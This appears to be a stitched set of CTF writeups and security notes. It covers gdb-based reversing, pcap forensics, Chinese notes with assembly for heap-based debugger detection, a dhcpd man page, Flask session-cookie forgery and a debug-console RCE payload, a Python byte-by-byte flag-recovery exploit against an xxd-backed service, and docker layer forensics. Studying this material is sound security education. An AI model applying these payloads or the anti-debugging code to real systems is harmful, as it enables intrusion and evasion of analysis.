00401784 48 8d b5 LEA RSI=>local_c8,[RBP + -0xc0]
40 ff ff ff
0040178b 4c 8d 45 80 LEA R8=>local_88,[RBP + -0x80]
0040178f 4c 8d 4d c0 LEA R9=>local_48,[RBP + -0x40]
00401793 4d 89 ca MOV R10,R9
00401796 48 89 bd MOV qword ptr [RBP + local_240],RDI
c8 fd ff ff
0040179d 4c 89 d7 MOV RDI,R10
004017a0 49 ba 10 MOV R10,DAT_00403210 = 04h
32 40 00
00 00 00 00
004017aa 48 89 b5 MOV qword ptr [RBP + local_248],RSI
c0 fd ff ff
004017b1 4c 89 d6 MOV RSI=>DAT_00403210,R10 = 04h
004017b4 41 ba 28 MOV R10D,40
00 00 00
004017ba 48 89 95 MOV qword ptr [RBP + local_250],RDX
b8 fd ff ff
004017c1 4c 89 d2 MOV RDX,R10
004017c4 48 89 85 MOV qword ptr [RBP + local_258],RAX
b0 fd ff ff
004017cb 48 89 8d MOV qword ptr [RBP + local_260],RCX
a8 fd ff ff
004017d2 4c 89 85 MOV qword ptr [RBP + local_268],R8
a0 fd ff ff
004017d9 4c 89 8d MOV qword ptr [RBP + local_270],R9
98 fd ff ff
004017e0 e8 9b f8 CALL memcpy void * memcpy(void * __dest, voi
ff ff
004017e5 48 8b 85 MOV RAX,qword ptr [RBP + local_268]
a0 fd ff ff
004017ec 48 89 c7 MOV RDI,RAX
004017ef 48 be 40 MOV RSI=>DAT_00403240,DAT_00403240 = 04h
32 40 00
00 00 00 00
004017f9 ba 38 00 MOV EDX,56
00 00
004017fe e8 7d f8 CALL memcpy void * memcpy(void * __dest, voi
ff ff
00401803 48 8b 85 MOV RAX,qword ptr [RBP + local_248]
c0 fd ff ff
0040180a 48 89 c7 MOV RDI,RAX
0040180d 48 be 80 MOV RSI=>DAT_00403280,DAT_00403280 = 04h
32 40 00
00 00 00 00
00401817 b8 40 00 MOV EAX,64
00 00
0040181c 48 89 c2 MOV RDX,RAX
0040181f 48 89 85 MOV qword ptr [RBP + local_278],RAX
90 fd ff ff
00401826 e8 55 f8 CALL memcpy void * memcpy(void * __dest, voi
ff ff
0040182b 48 8b 85 MOV RAX,qword ptr [RBP + local_250]
b8 fd ff ff
00401832 48 89 c7 MOV RDI,RAX
00401835 48 be c0 MOV RSI=>DAT_004032c0,DAT_004032c0 = 04h
32 40 00
00 00 00 00
0040183f 48 8b 95 MOV RDX,qword ptr [RBP + local_278]
90 fd ff ff
00401846 e8 35 f8 CALL memcpy void * memcpy(void * __dest, voi
ff ff
0040184b 48 8b 85 MOV RAX,qword ptr [RBP + local_260]
a8 fd ff ff
00401852 48 89 c7 MOV RDI,RAX
00401855 48 be 00 MOV RSI=>DAT_00403300,DAT_00403300 = 04h
33 40 00
00 00 00 00
0040185f 48 8b 95 MOV RDX,qword ptr [RBP + local_278]
90 fd ff ff
00401866 e8 15 f8 CALL memcpy void * memcpy(void * __dest, voi
ff ff
0040186b 48 8b 85 MOV RAX,qword ptr [RBP + local_258]
b0 fd ff ff
00401872 48 89 c7 MOV RDI,RAX
00401875 48 be 40 MOV RSI=>DAT_00403340,DAT_00403340 = 04h
33 40 00
00 00 00 00
0040187f 48 8b 95 MOV RDX,qword ptr [RBP + local_278]
90 fd ff ff
00401886 e8 f5 f7 CALL memcpy void * memcpy(void * __dest, voi
ff ff
0040188b 48 8b 85 MOV RAX,qword ptr [RBP + local_270]
98 fd ff ff
00401892 48 89 85 MOV qword ptr [RBP + local_1b8],RAX
50 fe ff ff
00401899 48 8b 8d MOV RCX,qword ptr [RBP + local_268]
a0 fd ff ff
004018a0 48 89 8d MOV qword ptr [RBP + local_1b0],RCX
58 fe ff ff
004018a7 48 8b 95 MOV RDX,qword ptr [RBP + local_248]
c0 fd ff ff
004018ae 48 89 95 MOV qword ptr [RBP + local_1a8],RDX
60 fe ff ff
004018b5 48 8b b5 MOV RSI,qword ptr [RBP + local_250]
b8 fd ff ff
004018bc 48 89 b5 MOV qword ptr [RBP + local_1a0],RSI
68 fe ff ff
004018c3 48 8b bd MOV RDI,qword ptr [RBP + local_260]
a8 fd ff ff
004018ca 48 89 bd MOV qword ptr [RBP + local_198],RDI
70 fe ff ff
004018d1 4c 8b 85 MOV R8,qword ptr [RBP + local_258]
b0 fd ff ff
004018d8 4c 89 85 MOV qword ptr [RBP + local_190],R8
78 fe ff ff
004018df 4c 8d 8d LEA R9=>local_238,[RBP + -0x230]
d0 fd ff ff
004018e6 4c 89 cf MOV RDI,R9
004018e9 48 be 80 MOV RSI=>DAT_00403380,DAT_00403380 = 01h
33 40 00
00 00 00 00
004018f3 ba 7a 00 MOV EDX,122
00 00
004018f8 e8 83 f7 CALL memcpy void * memcpy(void * __dest, voi
ff ff
004018fd 48 8b bd MOV RDI,qword ptr [RBP + local_240]
c8 fd ff ff
00401904 be 0b 00 MOV ESI,0xb
00 00
00401909 ba 0b 00 MOV EDX,0xb
00 00
0040190e e8 5d f7 CALL memset void * memset(void * __s, int __
ff ff
00401913 bf 02 00 MOV EDI,0x2
00 00
00401918 e8 83 fb CALL print_hint_in_debug undefined print_hint_in_debug(ui
ff ff
0040191d 48 8d bd LEA RDI=>local_238,[RBP + -0x230]
d0 fd ff ff
00401924 e8 37 f9 CALL handle_no_args void handle_no_args(char * param
ff ff
00401929 48 81 c4 ADD RSP,0x270
70 02 00 00
00401930 5d POP RBP
00401931 c3 RET
```
We'll set a breakpoint after the locals get initialized and before the internal functions get called, and use the debugger to call `handle_no_args` with each of the other buffers when the breakpoint is hit. Here's the script to do that:
```
set environment WHERE_IS_THE_HATTER=1
b *0x0040191d
commands
silent
call ((void (*) (char*)) 0x401260) ($rbp-0x40)
call ((void (*) (char*)) 0x401260) ($rbp-0x80)
call ((void (*) (char*)) 0x401260) ($rbp-0xc0)
call ((void (*) (char*)) 0x401260) ($rbp-0x100)
call ((void (*) (char*)) 0x401260) ($rbp-0x140)
call ((void (*) (char*)) 0x401260) ($rbp-0x180)
q
end
r
```
The output:
```console
root@kali:/media/sf_CTFs/matrix/Hatter# gdb -n -q -x ./commands.gdb ./Hatter
Reading symbols from ./Hatter...
(No debugging symbols found in ./Hatter)
Breakpoint 1 at 0x40191d
.08....9... 00 ^__^
....5...C.. 01 (xx)\_______
...4....... 02 (__)\ )\/\
..6....2... 03 U ||--WWW |
.7...B...1. 04 || ||
.A.....3... 05
A debugging session is active.
Inferior 1 [process 2601] will be killed.
Quit anyway? (y or n) [answered Y; input not from terminal]
```
We got six weird lines printed, one for each buffer we called. We also got the dead cow from [cowsay](https://en.wikipedia.org/wiki/Cowsay). So what now? It took us a while, but eventually we figured out how to read this, after noticing that the left diagram contains all the hex digits from `0x0` to `0xC`.
First, we align the different "Enter" lines that we saw earlier with the secret output that we've extracted:
```
dMp|dAtA
.08....9... 00 ^__^
do v3rifY
....5...C.. 01 (xx)\_______
hinT
...4....... 02 (__)\ )\/\
iD4Ur5ALF
..6....2... 03 U ||--WWW |
P_tr01l
.7...B...1. 04 || ||
pRnTE
.A.....3... 05
```
Line `#n` from the original output (numbered based on `print_hint_in_debug(n)`) gets paired with the matching secret-output line based on its line index.
Then, we traverse the sequence from `0x0` to `0xC` while taking note of the matching letter. We get:
```
M?L?T34_pAR1Y
```
We will have to guess the two remaining characters. The first one must be `'C'` since that's usually the flag format. The second one is probably `'_'` to separate the flag format from the word "tea". Eventually we get `"MCL_T34_pAR1Y"` which was accepted as the correct flag.
|
sec-knowleage
|
# What's My Name?
Forensics, 250 points
## Description:
> Say my name, say my name.
A pcap file was attached ("myname.pcap").
## Solution:
We can use WireShark to inspect the network capture via a GUI, or `tshark` as a command line utility.
First, we search for packets containing the word "name":
```console
root@kali:/media/sf_CTFs/pico/Whats_My_Name# tshark -nr myname.pcap -Y 'frame contains "name"'
43 1418.341495 192.168.2.1 → 192.168.2.12 DNS 87 Standard query 0xaaa0 ANY thisismyname.com OPT 62905 53
55 1418.342859 192.168.2.12 → 192.168.2.1 DNS 316 Standard query response 0xaaa0 ANY thisismyname.com A 192.168.2.13 CNAME myname.com MX 5 myname.com MX 10 mx2.myname.com MX 20 mx3.myname.com NS ns1.myname.com NS ns2.myname.com TXT SOA ns1.thisismyname.com 53 62905
268 3.314481 192.168.86.16 → 255.255.255.255 DB-LSP-DISC 186 Dropbox LAN sync Discovery Protocol 17500 17500
269 3.314862 192.168.86.16 → 192.168.86.255 DB-LSP-DISC 186 Dropbox LAN sync Discovery Protocol 17500 17500
5419 33.420194 192.168.86.16 → 255.255.255.255 DB-LSP-DISC 186 Dropbox LAN sync Discovery Protocol 17500 17500
5420 33.420606 192.168.86.16 → 192.168.86.255 DB-LSP-DISC 186 Dropbox LAN sync Discovery Protocol 17500 17500
```
We can inspect the contents of each packet.
If we check packet #55, we will find the flag:
```console
root@kali:/media/sf_CTFs/pico/Whats_My_Name# tshark -nr myname.pcap -Y 'frame.number==55' -T json
[
{
"_index": "packets-2018-11-03",
"_type": "pcap_file",
"_score": null,
"_source": {
"layers": {
"frame": {
"frame.encap_type": "1",
"frame.time": "Jul 8, 2018 04:55:29.288890000 IDT",
"frame.offset_shift": "0.000000000",
"frame.time_epoch": "1531014929.288890000",
"frame.time_delta": "1417.308003000",
"frame.time_delta_displayed": "0.000000000",
"frame.time_relative": "1418.342859000",
"frame.number": "55",
"frame.len": "316",
"frame.cap_len": "316",
"frame.marked": "0",
"frame.ignored": "0",
"frame.protocols": "eth:ethertype:ip:udp:dns"
},
"eth": {
"eth.dst": "0a:00:27:00:00:16",
"eth.dst_tree": {
"eth.dst_resolved": "0a:00:27:00:00:16",
"eth.addr": "0a:00:27:00:00:16",
"eth.addr_resolved": "0a:00:27:00:00:16",
"eth.lg": "1",
"eth.ig": "0"
},
"eth.src": "08:00:27:66:da:17",
"eth.src_tree": {
"eth.src_resolved": "08:00:27:66:da:17",
"eth.addr": "08:00:27:66:da:17",
"eth.addr_resolved": "08:00:27:66:da:17",
"eth.lg": "0",
"eth.ig": "0"
},
"eth.type": "0x00000800"
},
"ip": {
"ip.version": "4",
"ip.hdr_len": "20",
"ip.dsfield": "0x00000000",
"ip.dsfield_tree": {
"ip.dsfield.dscp": "0",
"ip.dsfield.ecn": "0"
},
"ip.len": "302",
"ip.id": "0x00009254",
"ip.flags": "0x00004000",
"ip.flags_tree": {
"ip.flags.rb": "0",
"ip.flags.df": "1",
"ip.flags.mf": "0",
"ip.frag_offset": "0"
},
"ip.ttl": "64",
"ip.proto": "17",
"ip.checksum": "0x0000220d",
"ip.checksum.status": "2",
"ip.src": "192.168.2.12",
"ip.addr": "192.168.2.12",
"ip.src_host": "192.168.2.12",
"ip.host": "192.168.2.12",
"ip.dst": "192.168.2.1",
"ip.addr": "192.168.2.1",
"ip.dst_host": "192.168.2.1",
"ip.host": "192.168.2.1"
},
"udp": {
"udp.srcport": "53",
"udp.dstport": "62905",
"udp.port": "53",
"udp.port": "62905",
"udp.length": "282",
"udp.checksum": "0x000018fb",
"udp.checksum.status": "2",
"udp.stream": "0"
},
"dns": {
"dns.id": "0x0000aaa0",
"dns.flags": "0x000085a0",
"dns.flags_tree": {
"dns.flags.response": "1",
"dns.flags.opcode": "0",
"dns.flags.authoritative": "1",
"dns.flags.truncated": "0",
"dns.flags.recdesired": "1",
"dns.flags.recavail": "1",
"dns.flags.z": "0",
"dns.flags.authenticated": "1",
"dns.flags.checkdisable": "0",
"dns.flags.rcode": "0"
},
"dns.count.queries": "1",
"dns.count.answers": "9",
"dns.count.auth_rr": "0",
"dns.count.add_rr": "0",
"Queries": {
"thisismyname.com: type ANY, class IN": {
"dns.qry.name": "thisismyname.com",
"dns.qry.name.len": "16",
"dns.count.labels": "2",
"dns.qry.type": "255",
"dns.qry.class": "0x00000001"
}
},
"Answers": {
"thisismyname.com: type A, class IN, addr 192.168.2.13": {
"dns.resp.name": "thisismyname.com",
"dns.resp.type": "1",
"dns.resp.class": "0x00000001",
"dns.resp.ttl": "300",
"dns.resp.len": "4",
"dns.a": "192.168.2.13"
},
"thisismyname.com: type CNAME, class IN, cname myname.com": {
"dns.resp.name": "thisismyname.com",
"dns.resp.type": "5",
"dns.resp.class": "0x00000001",
"dns.resp.ttl": "300",
"dns.resp.len": "9",
"dns.cname": "myname.com"
},
"thisismyname.com: type MX, class IN, preference 5, mx myname.com": {
"dns.resp.name": "thisismyname.com",
"dns.resp.type": "15",
"dns.resp.class": "0x00000001",
"dns.resp.ttl": "300",
"dns.resp.len": "4",
"dns.mx.preference": "5",
"dns.mx.mail_exchange": "myname.com"
},
"thisismyname.com: type MX, class IN, preference 10, mx mx2.myname.com": {
"dns.resp.name": "thisismyname.com",
"dns.resp.type": "15",
"dns.resp.class": "0x00000001",
"dns.resp.ttl": "300",
"dns.resp.len": "8",
"dns.mx.preference": "10",
"dns.mx.mail_exchange": "mx2.myname.com"
},
"thisismyname.com: type MX, class IN, preference 20, mx mx3.myname.com": {
"dns.resp.name": "thisismyname.com",
"dns.resp.type": "15",
"dns.resp.class": "0x00000001",
"dns.resp.ttl": "300",
"dns.resp.len": "8",
"dns.mx.preference": "20",
"dns.mx.mail_exchange": "mx3.myname.com"
},
"thisismyname.com: type NS, class IN, ns ns1.myname.com": {
"dns.resp.name": "thisismyname.com",
"dns.resp.type": "2",
"dns.resp.class": "0x00000001",
"dns.resp.ttl": "86400",
"dns.resp.len": "6",
"dns.ns": "ns1.myname.com"
},
"thisismyname.com: type NS, class IN, ns ns2.myname.com": {
"dns.resp.name": "thisismyname.com",
"dns.resp.type": "2",
"dns.resp.class": "0x00000001",
"dns.resp.ttl": "86400",
"dns.resp.len": "6",
"dns.ns": "ns2.myname.com"
},
"thisismyname.com: type TXT, class IN": {
"dns.resp.name": "thisismyname.com",
"dns.resp.type": "16",
"dns.resp.class": "0x00000001",
"dns.resp.ttl": "300",
"dns.resp.len": "55",
"dns.txt.length": "54",
"dns.txt": "picoCTF{w4lt3r_wh1t3_033ad0f914a0b9d213bcc3ce5566038b}"
},
"thisismyname.com: type SOA, class IN, mname ns1.thisismyname.com": {
"dns.resp.name": "thisismyname.com",
"dns.resp.type": "6",
"dns.resp.class": "0x00000001",
"dns.resp.ttl": "86400",
"dns.resp.len": "32",
"dns.soa.mname": "ns1.thisismyname.com",
"dns.soa.rname": "dns.thisismyname.com",
"dns.soa.serial_number": "1531014718",
"dns.soa.refresh_interval": "3600",
"dns.soa.retry_interval": "10800",
"dns.soa.expire_limit": "86400",
"dns.soa.mininum_ttl": "3600"
}
},
"dns.response_to": "43",
"dns.time": "0.001364000"
}
}
}
}
]
root@kali:/media/sf_CTFs/pico/Whats_My_Name# tshark -nr myname.pcap -Y 'frame.number==55' -T json | grep pico
"dns.txt": "picoCTF{w4lt3r_wh1t3_033ad0f914a0b9d213bcc3ce5566038b}"
```
The flag is: picoCTF{w4lt3r_wh1t3_033ad0f914a0b9d213bcc3ce5566038b}
|
sec-knowleage
|
# The Heap
堆在初始化时, 会检查`heap flags`, 并视一些标志位的有无设置而对环境作出额外的改变. 像`Themida`就有采用这种方法来检测调试器.
比如:
* 如果设置了`HEAP_TAIL_CHECKING_ENABLED`标志(见`Heap Flags`节), 那么在32位windows中就会在分配的堆块尾部附加2个`0xABABABAB`(64位环境就是4个).
* 如果设置了`HEAP_FREE_CHECKING_ENABLED`(见`Heap Flags`节)标志, 那么当需要额外的字节来填充堆块尾部时, 就会使用`0xFEEEFEEE`(或一部分)来填充
那么, 一种新的检测调试器的方法就是来检查这些值.
## 堆指针已知
如果已知一个堆指针, 那么我们可以直接检查堆块里的数据. 然而在`Windows Vista`及更高版本中采用了堆保护机制(32位/64位都有), 使用了一个异或密钥来对堆块大小进行了加密. 虽然你可以选择是否使用密钥, 但是默认是使用的. 而且就堆块首部的位置, 在`Windows NT/2000/XP`和`Windows Vista及更高版本`之间也是不相同的. 因此我们还需要将`Windows版本`也考虑在内.
可以使用以下32位代码来检测32位环境:
``` asm
xor ebx, ebx
call GetVersion
cmp al, 6
sbb ebp, ebp
jb l1
;Process Environment Block
mov eax, fs:[ebx+30h]
mov eax, [eax+18h] ;get process heap base
mov ecx, [eax+24h] ;check for protected heap
jecxz l1
mov ecx, [ecx]
test [eax+4ch], ecx
cmovne ebx, [eax+50h] ;conditionally get heap key
l1: mov eax, <heap ptr>
movzx edx, w [eax-8] ;size
xor dx, bx
movzx ecx, b [eax+ebp-1] ;overhead
sub eax, ecx
lea edi, [edx*8+eax]
mov al, 0abh
mov cl, 8
repe scasb
je being_debugged
```
或使用以下64位代码检测64位环境:
```
xor ebx, ebx
call GetVersion
cmp al, 6
sbb rbp, rbp
jb l1
;Process Environment Block
mov rax, gs:[rbx+60h]
mov eax, [rax+30h] ;get process heap base
mov ecx, [rax+40h] ;check for protected heap
jrcxz l1
mov ecx, [rcx+8]
test [rax+7ch], ecx
cmovne ebx, [rax+88h] ;conditionally get heap key
l1: mov eax, <heap ptr>
movzx edx, w [rax-8] ;size
xor dx, bx
add edx, edx
movzx ecx, b [rax+rbp-1] ;overhead
sub eax, ecx
lea edi, [rdx*8+rax]
mov al, 0abh
mov cl, 10h
repe scasb
je being_debugged
```
这里没有使用32位代码检测64位环境的样例, 因为64位的堆无法由32位的堆函数解析.
## 堆指针未知
如果无法得知堆指针, 我们可以使用`kernel32`的`HeapWalk()`函数或`ntdll`的`RtlWalkHeap()`函数(或甚至是`kernel32`的`GetCommandLine()`函数). 返回的堆大小的值会被自动解密, 因此就不需要再关心windows的版本
可以使用以下32位代码来检测32位环境:
``` asm
mov ebx, offset l2
;get a pointer to a heap block
l1: push ebx
mov eax, fs:[30h] ;Process Environment Block
push d [eax+18h] ;save process heap base
call HeapWalk
cmp w [ebx+0ah], 4 ;find allocated block
jne l1
mov edi, [ebx] ;data pointer
add edi, [ebx+4] ;data size
mov al, 0abh
push 8
pop ecx
repe scasb
je being_debugged
...
l2: db 1ch dup (0) ;sizeof(PROCESS_HEAP_ENTRY)
```
或使用以下64位代码检测64位环境:
``` asm
mov rbx, offset l2
;get a pointer to a heap block
l1: push rbx
pop rdx
push 60h
pop rsi
gs:lodsq ;Process Environment Block
;get a pointer to process heap base
mov ecx, [rax+30h]
call HeapWalk
cmp w [rbx+0eh], 4 ;find allocated block
jne l1
mov edi, [rbx] ;data pointer
add edi, [rbx+8] ;data size
mov al, 0abh
push 10h
pop rcx
repe scasb
je being_debugged
...
l2: db 28h dup (0) ;sizeof(PROCESS_HEAP_ENTRY)
```
这里没有使用32位代码检测64位环境的样例, 因为64位的堆无法由32位的堆函数解析.
|
sec-knowleage
|
dhcpd
===
运行DHCP服务器
### 语法
```shell
dhcpd [选项] [网络接口]
```
### 选项
```shell
-p <端口> 指定dhcpd监听的端口
-f 作为前台进程运行dhcpd
-d 启用调试模式
-q 在启动时不显示版权信息
-t 简单地测试配置文件的语法是否正确的,但不会尝试执行任何网络操作
-T 可以用来测试租约数据库文件
-4 运行DHCP服务器
-6 运行DHCPv6服务器
-s <服务器> 指定发送回复的服务器
-cf <配置文件> 指定配置文件
-lf <租约文件> 指定租约文件
-pf <PID文件> 指定PID文件
-tf <跟踪输出文件> 指定文件记录DHCP服务器的整个启动状态
```
### 例子
对DHCP服务器进行排错。
```shell
[root@localhost ~]# dhcpd
InternetSystems Consortium DHCP Server 4.1.1-P1
Copyright2004-2010 Internet Systems Consortium.
All rightsreserved.
For info,please visit https://www.isc.org/software/dhcp/
Not searchingLDAP since ldap-server, ldap-port and ldap-base-dn were not specified in theconfig file
Wrote 0deleted host decls to leases file.
Wrote 0 newdynamic host decls to leases file.
Wrote 1leases to leases file.
Listening onLPF/eth0/00:0c:29:fc:2f:e5/192.168.0.0/24
Sendingon LPF/eth0/00:0c:29:fc:2f:e5/192.168.0.0/24
Sendingon Socket/fallback/fallback-net
[root@rhel~]# There's already a DHCP server running.
This versionof ISC DHCP is based on the release available
onftp.isc.org. Features have been addedand other changes
have beenmade to the base software release in order to make
it workbetter with this distribution.
exiting.
```
|
sec-knowleage
|
# flask
---
## 免责声明
`本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.`
---
## session伪造
flask-session 的三部分为 json->zlib->base64 后的源字符串. 时间戳. hmac 签名信息
**相关文章**
- [flask session伪造admin身份](https://blog.csdn.net/since_2020/article/details/119543172)
**相关工具**
- [noraj/flask-session-cookie-manager](https://github.com/noraj/flask-session-cookie-manager)
```bash
python3 flask_session_cookie_manager3.py decode -s "thisiskey" -c "eyJ1c2VybmFtZSI6eyIgYiI6IllXUnRhVzQ9In19.YWfurA.sHD-E9MuX4QZJQ4cU07WYykbJZU" # 解密
python3 flask_session_cookie_manager3.py encode -s "thisiskey" -t "{'username': b'admin'}" # 加密
```
**writeup**
- [[HCTF 2018] admin](https://darkwing.moe/2019/11/04/HCTF-2018-admin/)
- [BUUCTF N1BOOK [第一章 web入门]](https://blog.csdn.net/RABCDXB/article/details/115189884)
---
## flask-debug
**简述**
debug 模式需要验证 pin, 而 pin 并非真随机值, 根据机器上的参数可以计算出来
当然,如果目标配置了 `WERKZEUG_DEBUG_PIN=off` 那就不需要 pin 了😂
**相关文章**
- [Flask渗透01:debug模式中的RCE](https://anzu.link/pages/204626/)
- [Flask RCE Debug Mode](http://ghostlulz.com/flask-rce-debug-mode/)
- [Flask开启debug时PIN码的安全性问题](https://xz.aliyun.com/t/11036)
- [Flask debug 模式 PIN 码生成机制安全性研究笔记](https://zhuanlan.zhihu.com/p/32336971)
**POC | Payload | exp**
`/console`
```py
import subprocess;out = subprocess.Popen(['whoami'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT);stdout,stderr = out.communicate();print(stdout);
```
---
## flask-debug xss
**相关文章**
- [Flask Debugger页面上的通用XSS漏洞分析和挖掘过程记录](http://blog.neargle.com/2016/09/21/flask-src-review-get-a-xss-from-debuger/)
- https://github.com/pallets/werkzeug/pull/1001
|
sec-knowleage
|
# HeXdump (misc, 202p, 62 solved)
In the challenge we get source code of a [service](heXDump.rb) and access to this service.
The logic of the application is pretty simple:
- We can select `output mode` from MD5, SHA1 and AES hexdump.
- We can write some data into the `input file`.
- We can request to get back data from the `input file`, respecting the output. mode we selected.
- There is a special option which will place the flag file as `input file`.
Working with our own data is not very interesting, so the first step is to run the `1337` command to start working with flag file.
Now we can get back MD5, SHA1 or AES encrypted data from this file, but it's not enough to recover the flag.
It's also not a crypto but misc challenge.
The key function is:
```ruby
def write
puts 'Data? (In hex format)'
data = gets
return false unless data && !data.empty? && data.size < 0x1000
IO.popen("xxd -r -ps - #{@file}", 'r+') do |f|
f.puts data
f.close_write
end
return false unless $CHILD_STATUS.success?
true
end
```
The data we write to `input file` are put there using `xxd -r -ps - #{@file}`.
If we look into the documentation we can see:
```
-r | -revert
reverse operation: convert (or patch) hexdump into binary. If not writing to stdout, xxd writes into its output file without truncating it. Use the combination -r -p to read plain hexadecimal dumps without line number information and without a particular column layout. Additional Whitespace and line-breaks are allowed anywhere.
```
Key part is `If not writing to stdout, xxd writes into its output file without truncating it.`
This means that if we provide only 1 character as input, it will overwrite only 1st byte.
We can use this feature to recover flag byte by byte:
1. Get back original flag output (of any kind, but we can use AES just to be sure there is no accidental collision).
2. Loop over flag charset and overwrite 1st character with each possible value, and get back output.
3. If output with overwritten character matches the original flag output, it means that we substituted character by itself, and thus we know 1 character of the flag.
Once we know the 1st character, we can do the same, now sending 2 bytes, the one we know plus again random value from charset.
We proceed with that until we recover all flag bytes:
```python
import string
from crypto_commons.netcat.netcat_commons import nc, receive_until_match, send, receive_until
def setup_connection(host, port):
s = nc(host, port)
print(receive_until_match(s, "0\) quit\n"))
send(s, "1337")
print(receive_until_match(s, "0\) quit\n"))
send(s, "3")
print(receive_until_match(s, "- AES"))
send(s, "aes")
print(receive_until_match(s, "0\) quit\n"))
send(s, "2")
real = receive_until(s, "\n")[:-1]
print('real', real)
print(receive_until_match(s, "0\) quit"))
return real, s
def get_new_ct(test_char, known_flag_prefix, s):
send(s, "1")
receive_until_match(s, "Data\? \(In hex format\)")
send(s, (known_flag_prefix + test_char).encode("hex"))
receive_until_match(s, "0\) quit\n")
send(s, "2")
current = receive_until(s, "\n")[:-1]
receive_until_match(s, "0\) quit\n")
print(test_char, 'current', current)
return current
def main():
known_flag = "hitcon{"
host = "13.113.205.160"
port = 21700
real, s = setup_connection(host, port)
while '}' not in known_flag:
for c in string.lowercase + string.digits + string.uppercase + string.punctuation:
try:
current = get_new_ct(c, known_flag, s)
if real == current:
known_flag += c
print(known_flag)
break
except:
real, s = setup_connection(host, port)
current = get_new_ct(c, known_flag, s)
if real == current:
known_flag += c
print(known_flag)
break
main()
```
After a while we recover: `hitcon{xxd?XDD!ed45dc4df7d0b79}`
|
sec-knowleage
|
# Can't See You
* Category: Misc.
* 200 Points
* Solved by the JCTF Team
## Description
> It's too dark in here, can you help Alice find her way out?
>
> docker run -it g3rzi/rabbit_hole bash
## Solution
Let's run the attached docker.
```
|\\ //(
| \\ // '
' \\ // /
\ )\(( /
)` `/
/ __ \
/ (_O) \
/ \________
_.(_) ) /
(__, / /
\ / /
\_______/ (
\ / \
\ / \
\/ \
/ )
/ /
/ _ o__ /
( (_) //\,\ (
\ ``~---~` )
\ \ /
\ \ /
\ \ /
\____/ \_______/
------------------------------------------------
"...she found herself falling down a very deep well.
Either the well was very deep, or she fell very slowly,
for she had plenty of time as she went down to look about her and to wonder what was going to happen next.
First, she tried to look down and make out what she was coming to, but it was too dark to see anything."
/home #
```
Not too much to see here. The docker is running locally so this can't be an escape challenge. Let's inspect the docker container itself:
```console
$ docker history --no-trunc g3rzi/rabbit_hole
IMAGE CREATED CREATED BY SIZE COMMENT
sha256:6c206a5f4eb94555206db9eb5cea0883fcaea96d4a10aee4ea9d05220737d119 3 months ago /bin/sh -c #(nop) WORKDIR /home 0B
<missing> 3 months ago /bin/sh -c #(nop) ENTRYPOINT ["/bin/sh" "-c" "clear; cat /home/message; sh;"] 0B
<missing> 3 months ago /bin/sh -c rm /tmp/Wonderland 0B
<missing> 3 months ago /bin/sh -c #(nop) COPY file:562947c0a4dbfc439d967ce78b6a06318e475dff95157295a63e5cd1d357f299 in /home/message 932B
<missing> 3 months ago /bin/sh -c #(nop) COPY dir:ce226651d1a2141a3df6d4bbb9135fb5de96b4f36ca8bd170d16f016f2ea00e2 in / 11.7MB
<missing> 4 months ago /bin/sh -c #(nop) CMD ["/bin/sh"] 0B
<missing> 4 months ago /bin/sh -c #(nop) ADD file:2a949686d9886ac7c10582a6c29116fd29d3077d02755e87e111870d63607725 in / 5.54MB
```
We can see that one of the layers removed a file! What are you, `/tmp/Wonderland`?
To find it, we export the docker image to a `tar` file with `docker save --output rabbit_hole.tar g3rzi/rabbit_hole`. Then we untar it:
```console
┌──(user@kali)-[/media/sf_CTFs/intent/Cant_see_you]
└─$ tar -xvf rabbit_hole.tar
1288696addccc4013c5bcf61c1b6c38128a7214a0942976792918b51912d90f7/
1288696addccc4013c5bcf61c1b6c38128a7214a0942976792918b51912d90f7/VERSION
1288696addccc4013c5bcf61c1b6c38128a7214a0942976792918b51912d90f7/json
1288696addccc4013c5bcf61c1b6c38128a7214a0942976792918b51912d90f7/layer.tar
60ba9005d6f27b9225eae9f87baebfced06103206174e465a956c01137381f96/
60ba9005d6f27b9225eae9f87baebfced06103206174e465a956c01137381f96/VERSION
60ba9005d6f27b9225eae9f87baebfced06103206174e465a956c01137381f96/json
60ba9005d6f27b9225eae9f87baebfced06103206174e465a956c01137381f96/layer.tar
6c206a5f4eb94555206db9eb5cea0883fcaea96d4a10aee4ea9d05220737d119.json
ac98da2332a56465c337fe58aca626d67aa296273a22c6d8d88a12fd449ccd77/
ac98da2332a56465c337fe58aca626d67aa296273a22c6d8d88a12fd449ccd77/VERSION
ac98da2332a56465c337fe58aca626d67aa296273a22c6d8d88a12fd449ccd77/json
ac98da2332a56465c337fe58aca626d67aa296273a22c6d8d88a12fd449ccd77/layer.tar
c9b634909bbfee5adf85d62a358060f24a5063828d9b95111ded28ff6058fab0/
c9b634909bbfee5adf85d62a358060f24a5063828d9b95111ded28ff6058fab0/VERSION
c9b634909bbfee5adf85d62a358060f24a5063828d9b95111ded28ff6058fab0/json
c9b634909bbfee5adf85d62a358060f24a5063828d9b95111ded28ff6058fab0/layer.tar
manifest.json
repositories
```
One of the layers will contain the file:
```console
┌──(user@kali)-[/media/sf_CTFs/intent/Cant_see_you]
└─$ find . -name "layer.tar" -exec bash -c "echo {} && tar -tvf {} | grep Wonderland" \;
./1288696addccc4013c5bcf61c1b6c38128a7214a0942976792918b51912d90f7/layer.tar
./60ba9005d6f27b9225eae9f87baebfced06103206174e465a956c01137381f96/layer.tar
-rw-rw-r-- 0/0 6163456 2022-09-14 15:02 tmp/Wonderland
./ac98da2332a56465c337fe58aca626d67aa296273a22c6d8d88a12fd449ccd77/layer.tar
-rw------- 0/0 0 2022-09-14 15:02 tmp/.wh.Wonderland
./c9b634909bbfee5adf85d62a358060f24a5063828d9b95111ded28ff6058fab0/layer.tar
```
Let's extract it:
```console
┌──(user@kali)-[/media/sf_CTFs/intent/Cant_see_you]
└─$ tar -xvf ./60ba9005d6f27b9225eae9f87baebfced06103206174e465a956c01137381f96/layer.tar tmp/Wonderland
tmp/Wonderland
┌──(user@kali)-[/media/sf_CTFs/intent/Cant_see_you]
└─$ file tmp/Wonderland
tmp/Wonderland: POSIX tar archive
```
It's another `tar` file. In we go.
```console
┌──(user@kali)-[/media/sf_CTFs/intent/Cant_see_you/tmp]
└─$ tar -xvf Wonderland
047229ac3650fb687d05206f9c8b505b5d5214382e16ee09830ee1ccbca7c7fe/
047229ac3650fb687d05206f9c8b505b5d5214382e16ee09830ee1ccbca7c7fe/VERSION
047229ac3650fb687d05206f9c8b505b5d5214382e16ee09830ee1ccbca7c7fe/json
